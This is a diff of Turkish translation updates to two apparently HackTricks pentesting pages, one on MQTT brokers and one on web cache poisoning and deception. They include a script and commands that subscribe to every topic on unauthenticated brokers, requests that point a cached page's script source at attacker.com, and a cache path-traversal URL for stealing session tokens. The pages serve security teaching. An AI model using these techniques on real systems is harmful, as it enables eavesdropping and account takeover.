mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui
This commit is contained in:
parent
4f0c2e0e49
commit
638426a97f
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**MQ Telemetry Transport (MQTT)**, aşırı basitliği ve hafifliği ile öne çıkan bir **yayın/abone mesajlaşma protokolü** olarak bilinir. Bu protokol, cihazların sınırlı yeteneklere sahip olduğu ve düşük bant genişliği, yüksek gecikme veya güvenilmez bağlantılarla karakterize edilen ağlar üzerinde çalıştığı ortamlar için özel olarak tasarlanmıştır. MQTT'nin temel hedefleri, ağ bant genişliği kullanımını en aza indirmek ve cihaz kaynakları üzerindeki talebi azaltmaktır. Ayrıca, güvenilir iletişimi sürdürmeyi ve belirli bir teslimat güvencesi sağlamayı amaçlar. Bu hedefler, MQTT'yi **makineden makineye (M2M) iletişim** ve **Nesnelerin İnterneti (IoT)** alanında son derece uygun hale getirir; burada çok sayıda cihazın verimli bir şekilde bağlanması esastır. Ayrıca, MQTT, bant genişliğini ve pil ömrünü korumanın kritik olduğu mobil uygulamalar için de son derece faydalıdır.
|
||||
**MQ Telemetry Transport (MQTT)**, aşırı basitliği ve hafifliği ile öne çıkan bir **yayın/abone mesajlaşma protokolü** olarak bilinir. Bu protokol, cihazların sınırlı yeteneklere sahip olduğu ve düşük bant genişliği, yüksek gecikme veya güvenilmez bağlantılarla karakterize edilen ağlar üzerinde çalıştığı ortamlara özel olarak tasarlanmıştır. MQTT'nin temel hedefleri, ağ bant genişliği kullanımını en aza indirmek ve cihaz kaynakları üzerindeki talebi azaltmaktır. Ayrıca, güvenilir iletişimi sürdürmeyi ve belirli bir teslimat güvencesi sağlamayı amaçlar. Bu hedefler, MQTT'yi **makineden makineye (M2M) iletişim** ve **Nesnelerin İnterneti (IoT)** alanında son derece uygun hale getirir; burada çok sayıda cihazı verimli bir şekilde bağlamak esastır. Ayrıca, MQTT, bant genişliğini ve pil ömrünü korumanın kritik olduğu mobil uygulamalar için de son derece faydalıdır.
|
||||
|
||||
**Varsayılan port:** 1883
|
||||
```
|
||||
@ -13,9 +13,9 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
## Trafiğin İncelenmesi
|
||||
|
||||
Bir **CONNECT** paketi MQTT brokerları tarafından alındığında, bir **CONNACK** paketi geri gönderilir. Bu paket, bağlantı durumunu anlamak için kritik olan bir dönüş kodu içerir. **0x00** dönüş kodu, kimlik bilgilerin kabul edildiğini, başarılı bir bağlantıyı belirtir. Öte yandan, **0x05** dönüş kodu, kimlik bilgilerin geçersiz olduğunu gösterir ve bu da bağlantıyı engeller.
|
||||
Bir **CONNECT** paketi MQTT brokerları tarafından alındığında, bir **CONNACK** paketi geri gönderilir. Bu paket, bağlantı durumunu anlamak için kritik olan bir dönüş kodu içerir. **0x00** dönüş kodu, kimlik bilgilerin kabul edildiğini, başarılı bir bağlantıyı gösterir. Öte yandan, **0x05** dönüş kodu, kimlik bilgilerin geçersiz olduğunu belirterek bağlantıyı engeller.
|
||||
|
||||
Örneğin, broker kimlik bilgilerin geçersiz olması nedeniyle bağlantıyı reddederse, senaryo şöyle görünebilir:
|
||||
Örneğin, broker kimlik bilgilerin geçersiz olması nedeniyle bağlantıyı reddederse, senaryo şöyle görünür:
|
||||
```
|
||||
{
|
||||
"returnCode": "0x05",
|
||||
@ -28,7 +28,7 @@ Bir **CONNECT** paketi MQTT brokerları tarafından alındığında, bir **CONNA
|
||||
|
||||
## Pentesting MQTT
|
||||
|
||||
**Kimlik doğrulama tamamen isteğe bağlıdır** ve kimlik doğrulama gerçekleştiriliyor olsa bile, **şifreleme varsayılan olarak kullanılmamaktadır** (kimlik bilgileri düz metin olarak gönderilir). MITM saldırıları hala şifreleri çalmak için gerçekleştirilebilir.
|
||||
**Kimlik doğrulama tamamen isteğe bağlıdır** ve kimlik doğrulama gerçekleştiriliyor olsa bile, **şifreleme varsayılan olarak kullanılmaz** (kimlik bilgileri düz metin olarak gönderilir). MITM saldırıları hala şifreleri çalmak için gerçekleştirilebilir.
|
||||
|
||||
Bir MQTT hizmetine bağlanmak için şunları kullanabilirsiniz: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) ve tüm konulara abone olmak için:
|
||||
```
|
||||
@ -42,7 +42,7 @@ apt-get install mosquitto mosquitto-clients
|
||||
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
|
||||
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
|
||||
```
|
||||
Ya da **bu kodu çalıştırarak bir MQTT hizmetine kimlik doğrulaması olmadan bağlanmayı, her konuya abone olmayı ve dinlemeyi deneyebilirsiniz**:
|
||||
Ya da **kimlik doğrulaması olmadan bir MQTT hizmetine bağlanmayı, her konuya abone olmayı ve dinlemeyi denemek için bu kodu çalıştırabilirsiniz**:
|
||||
```python
|
||||
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
|
||||
import paho.mqtt.client as mqtt
|
||||
@ -71,18 +71,14 @@ client.loop_start()
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Daha fazla bilgi
|
||||
|
||||
buradan: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
|
||||
### Yayınlama/Abone Olma Modeli <a href="#b667" id="b667"></a>
|
||||
|
||||
Yayınlama/abone olma modeli şunlardan oluşur:
|
||||
|
||||
- **Yayıncı**: bir (veya birden fazla) konuya broker'da bir mesaj yayınlar.
|
||||
- **Abone**: broker'da bir (veya birden fazla) konuya abone olur ve yayıncıdan gönderilen tüm mesajları alır.
|
||||
- **Broker**: yayıncılardan abonelere tüm mesajları yönlendirir.
|
||||
- **Konu**: bir veya daha fazla seviyeden oluşur ve bu seviyeler bir ileri eğik çizgi ile ayrılır (örneğin, /smartshouse/livingroom/temperature).
|
||||
- **Yayıncı**: broker'daki bir (veya birden fazla) konuya mesaj yayınlar.
|
||||
- **Abone**: broker'daki bir (veya birden fazla) konuya abone olur ve yayıncıdan gönderilen tüm mesajları alır.
|
||||
- **Broker**: tüm mesajları yayıncılardan abonelere yönlendirir.
|
||||
- **Konu**: bir veya daha fazla seviyeden oluşur ve bu seviyeler bir eğik çizgi ile ayrılır (örneğin, /smartshouse/livingroom/temperature).
|
||||
|
||||
### Paket Formatı <a href="#f15a" id="f15a"></a>
|
||||
|
||||
@ -94,7 +90,7 @@ Her MQTT paketi sabit bir başlık içerir (Şekil 02). Şekil 02: Sabit Başlı
|
||||
|
||||
- CONNECT (1): Sunucuya bağlantı talep etmek için istemci tarafından başlatılır.
|
||||
- CONNACK (2): Sunucunun başarılı bir bağlantıyı onaylaması.
|
||||
- PUBLISH (3): İstemciden sunucuya veya tersine bir mesaj göndermek için kullanılır.
|
||||
- PUBLISH (3): İstemciden sunucuya veya tam tersi yönde bir mesaj göndermek için kullanılır.
|
||||
- PUBACK (4): PUBLISH paketinin onayı.
|
||||
- PUBREC (5): Mesajın alındığını garanti eden bir mesaj teslim protokolünün parçası.
|
||||
- PUBREL (6): Mesaj tesliminde daha fazla güvence, bir mesajın serbest bırakıldığını belirtir.
|
||||
|
@ -11,21 +11,21 @@
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
Cache poisoning, istemci tarafı önbelleğini manipüle etmeyi amaçlar ve istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemelerini zorlar. Etkilerin kapsamı, etkilenen sayfanın popülaritesine bağlıdır; çünkü kirlenmiş yanıt, önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara özel olarak sunulur.
|
||||
Cache poisoning, istemci tarafı önbelleğini manipüle etmeyi amaçlar ve istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemesini zorlar. Etkilerin kapsamı, etkilenen sayfanın popülaritesine bağlıdır; çünkü kirlenmiş yanıt, önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara özel olarak sunulur.
|
||||
|
||||
Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir:
|
||||
|
||||
1. **Anahtarsız Girdilerin Belirlenmesi**: Bunlar, bir isteğin önbelleğe alınması için gerekli olmasa da, sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin belirlenmesi, önbelleği manipüle etmek için sömürülebileceğinden kritik öneme sahiptir.
|
||||
2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırgana fayda sağlayacak şekilde sunucunun yanıtını değiştirmek için nasıl kötüye kullanılacağını bulmaktır.
|
||||
2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırgana fayda sağlayacak şekilde sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağınızı bulmaktır.
|
||||
3. **Kirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi**: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek kirlenmişken etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır.
|
||||
|
||||
### Keşif: HTTP başlıklarını kontrol et
|
||||
|
||||
Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **başlık olacaktır**, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **başlık olacaktır**, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache başlıkları**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Keşif: Önbellek hata kodları
|
||||
|
||||
Yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz; bu, **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeyi deneyin ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
|
||||
Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz; bu, **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeye çalışın ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
|
||||
|
||||
Daha fazla seçenek bulabilirsiniz:
|
||||
|
||||
@ -35,19 +35,19 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Ancak, **bazen bu tür durum kodlarının önbelleğe alınmadığını** unutmayın, bu nedenle bu test güvenilir olmayabilir.
|
||||
|
||||
### Keşif: Anahtarsız girdileri tanımlayın ve değerlendirin
|
||||
### Keşif: Anahtarsız girdileri tanımlama ve değerlendirme
|
||||
|
||||
Yanıtı **değiştiren parametreler ve başlıklar** için [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak **kaba kuvvet** uygulayabilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin oradan script yüklemesini belirtiyor olabilir:
|
||||
Yanıtı **değiştirebilecek** parametreleri ve başlıkları **brute-force** yapmak için [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanabilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Arka uç sunucudan zararlı bir yanıt elde etme
|
||||
|
||||
Parametre/başlık belirlendikten sonra, **temizlenme** şekline ve **nerede** **yansıtıldığına** veya başlıktan gelen yanıtı nasıl etkilediğine bakın. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...)
|
||||
Parametre/başlık belirlendikten sonra, **nasıl** **temizlendiğini** ve **nerede** **yansıtıldığını** veya başlıktan gelen yanıtı nasıl etkilediğini kontrol edin. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...)
|
||||
|
||||
### Yanıtı önbelleğe alma
|
||||
|
||||
Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını bilmeniz gerekir, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemeye devam etmeniz gerekebilir.
|
||||
Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını bilmeniz gerekir, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.
|
||||
|
||||
Yanıt içindeki **`X-Cache`** başlığı çok faydalı olabilir çünkü istek önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabilir.\
|
||||
**`Cache-Control`** başlığı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`
|
||||
@ -56,7 +56,7 @@ Bir diğer ilginç başlık **`Vary`**. Bu başlık genellikle **önbellek anaht
|
||||
|
||||
Önbellekle ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
|
||||
|
||||
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak kullanılabilir ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin** ve çalışıp çalışmadığını kontrol edin.
|
||||
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak kullanılabilir ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin**.
|
||||
|
||||
## Sömürü Örnekleri
|
||||
|
||||
@ -77,6 +77,14 @@ _Not edin ki bu, `/en?region=uk` isteğini zehirleyecek, `/en` isteğini değil.
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### CDN'ler aracılığıyla önbellek zehirleme
|
||||
|
||||
**[bu yazıda](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** aşağıdaki basit senaryo açıklanmaktadır:
|
||||
|
||||
- CDN, `/share/` altındaki her şeyi önbelleğe alacaktır.
|
||||
- CDN, `%2F..%2F`'yi çözmeyecek veya normalleştirmeyecek, bu nedenle, **önbelleğe alınacak diğer hassas konumlara erişim için yol geçişi olarak kullanılabilir**; örneğin `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Web sunucusu `%2F..%2F`'yi çözecek ve normalleştirecek ve `/api/auth/session` ile yanıt verecektir; bu **kimlik doğrulama jetonunu** içerir.
|
||||
|
||||
### Çerez işleme zafiyetlerini istismar etmek için web önbellek zehirlemesi kullanma
|
||||
|
||||
Çerezler, bir sayfanın yanıtında da yansıtılabilir. Eğer bunu bir XSS oluşturmak için kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i istismar edebilirsiniz.
|
||||
@ -97,9 +105,9 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### API anahtarını çalmak için yol geçişi ile önbellek zehirleme <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığını açıklamaktadır çünkü `/share/*` ile eşleşen her şey, istek web sunucusuna ulaştığında Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır.
|
||||
[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığını açıklıyor çünkü `/share/*` ile eşleşen her şey, istek web sunucusuna ulaştığında Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır.
|
||||
|
||||
Bu, daha iyi bir şekilde de açıklanmaktadır:
|
||||
Bu, daha iyi bir şekilde de açıklanmıştır:
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
@ -116,7 +124,7 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### Sınırlı `Vary` başlığı ile istismar
|
||||
|
||||
Eğer **`X-Host`** başlığının **JS kaynağını yüklemek için alan adı olarak** kullanıldığını ve yanıtın **`Vary`** başlığının **`User-Agent`** belirttiğini bulduysanız, o zaman kurbanın User-Agent'ını dışarı sızdırmanın ve bu kullanıcı ajanını kullanarak önbelleği zehirlemenin bir yolunu bulmalısınız:
|
||||
Eğer **`X-Host`** başlığının **bir JS kaynağını yüklemek için alan adı olarak** kullanıldığını ve yanıtın **`Vary`** başlığının **`User-Agent`** belirttiğini bulduysanız, o zaman kurbanın User-Agent'ını dışarı sızdırmanın ve bu kullanıcı ajanını kullanarak önbelleği zehirlemenin bir yolunu bulmalısınız:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -125,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL'deki isteği ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. James Kettle'ın Github web sitesinde bulduğu zafiyet gibi:
|
||||
URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde James Kettle'ın bulduğu zafiyet gibi:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -142,13 +150,13 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### HTTP Cache Zehirlemesini HTTP İstek Kaçırma ile Kötüye Kullanma
|
||||
### HTTP Cache Poisoning'i HTTP Request Smuggling ile Kötüye Kullanma
|
||||
|
||||
[Cache Poisoning saldırılarını HTTP İstek Kaçırma ile nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin.
|
||||
[Cache Poisoning saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin.
|
||||
|
||||
### Web Cache Zehirlemesi için Otomatik Test
|
||||
### Web Cache Poisoning için Otomatik Test
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner), web cache zehirlemesi için otomatik test yapmak üzere kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner), web cache poisoning için otomatik test yapmak üzere kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.
|
||||
|
||||
Örnek kullanım: `wcvs -u example.com`
|
||||
|
||||
@ -156,19 +164,19 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS, URL içindeki parçayı kesmeden iletti ve yalnızca ana bilgisayar, yol ve sorgu kullanarak önbellek anahtarını oluşturdu (parçayı göz ardı ederek). Bu nedenle `/#/../?r=javascript:alert(1)` isteği arka uca `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarında yük bulunmadı, yalnızca ana bilgisayar, yol ve sorgu vardı.
|
||||
ATS, URL içindeki parçayı kesmeden iletti ve yalnızca ana bilgisayar, yol ve sorgu kullanarak önbellek anahtarını oluşturdu (parçayı göz ardı ederek). Bu nedenle `/#/../?r=javascript:alert(1)` isteği arka uca `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarında yük yoktu, yalnızca ana bilgisayar, yol ve sorgu vardı.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
İçerik türü başlığında kötü bir değer göndermek, 405 önbelleklenmiş yanıtı tetikledi. Önbellek anahtarı çerezi içeriyordu, bu nedenle yalnızca yetkisiz kullanıcıları hedef almak mümkündü.
|
||||
İçerik türü başlığında kötü bir değer göndermek, 405 önbelleklenmiş yanıtı tetikledi. Önbellek anahtarı çerezi içeriyordu, bu nedenle yalnızca kimlik doğrulaması yapılmamış kullanıcıları hedef almak mümkündü.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab, statik içeriği depolamak için GCP bucket'larını kullanır. **GCP Buckets**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürecek şekilde zehirlemek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir.
|
||||
GitLab, statik içeriği depolamak için GCP bucket'larını kullanır. **GCP Buckets**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmesi için zehirlemek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilirdi.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Ruby on Rails uygulamalarında, genellikle Rack middleware kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
|
||||
Ruby on Rails uygulamalarında, Rack middleware sıklıkla kullanılmaktadır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
|
||||
|
||||
### 403 ve Depolama Bucket'ları
|
||||
|
||||
@ -176,7 +184,7 @@ Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkile
|
||||
|
||||
### Anahtarlı Parametreleri Enjekte Etme
|
||||
|
||||
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlamalı bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlamalı parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atılmasına neden oldu ancak arka uç tarafından kullanıldı. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatasına yol açtı.
|
||||
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlamalı bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlamalı parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atılmasına neden oldu ancak arka uç tarafından kullanıldı. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlandı.
|
||||
|
||||
### Kullanıcı Aracı Kuralları
|
||||
|
||||
@ -194,7 +202,7 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y
|
||||
|
||||
Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**.
|
||||
|
||||
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleriyle **tekrar oynuyorsa**, bu içerikleri diğer kullanıcılardan **çalmış** olursunuz.
|
||||
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama** _www.example.com/profile.php_ içinde depolanan **hassas** kullanıcı içerikleriyle **tekrar** yanıt veriyorsa, bu içerikleri diğer kullanıcılardan **çalıp** alabilirsiniz.
|
||||
|
||||
Test edilecek diğer şeyler:
|
||||
|
||||
@ -203,19 +211,19 @@ Test edilecek diğer şeyler:
|
||||
- _www.example.com/profile.php/test.js_
|
||||
- _www.example.com/profile.php/../test.js_
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _Daha az bilinen uzantıları kullanın, örneğin_ `.avif`
|
||||
- _Daha az bilinen uzantılar kullanın, örneğin_ `.avif`
|
||||
|
||||
Başka çok net bir örnek bu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
Bu yazıda çok net bir örnek bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının hassas bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\
|
||||
Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
|
||||
Daha sonra, **saldırgan** kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
|
||||
|
||||
**Önbellek proxy'sinin**, dosyaları **uzantıya** (_css_) göre **önbelleğe** **alacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü olacak, bu da bir _.css_ dosyası için beklenen `text/css` mime türü değildir.
|
||||
**Önbellek proxy'sinin**, dosyaları **uzantıya** göre **önbelleğe** **alacak** şekilde **yapılandırılması** gerektiğini unutmayın (_css_ gibi) ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü yerine `text/css` mime türüne sahip olması beklenmektedir (bu, bir _.css_ dosyası için beklenendir).
|
||||
|
||||
[Cache Deceptions saldırılarını HTTP İstek Kaçırma ile kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin.
|
||||
[Cache Deceptions saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin.
|
||||
|
||||
## Otomatik Araçlar
|
||||
|
||||
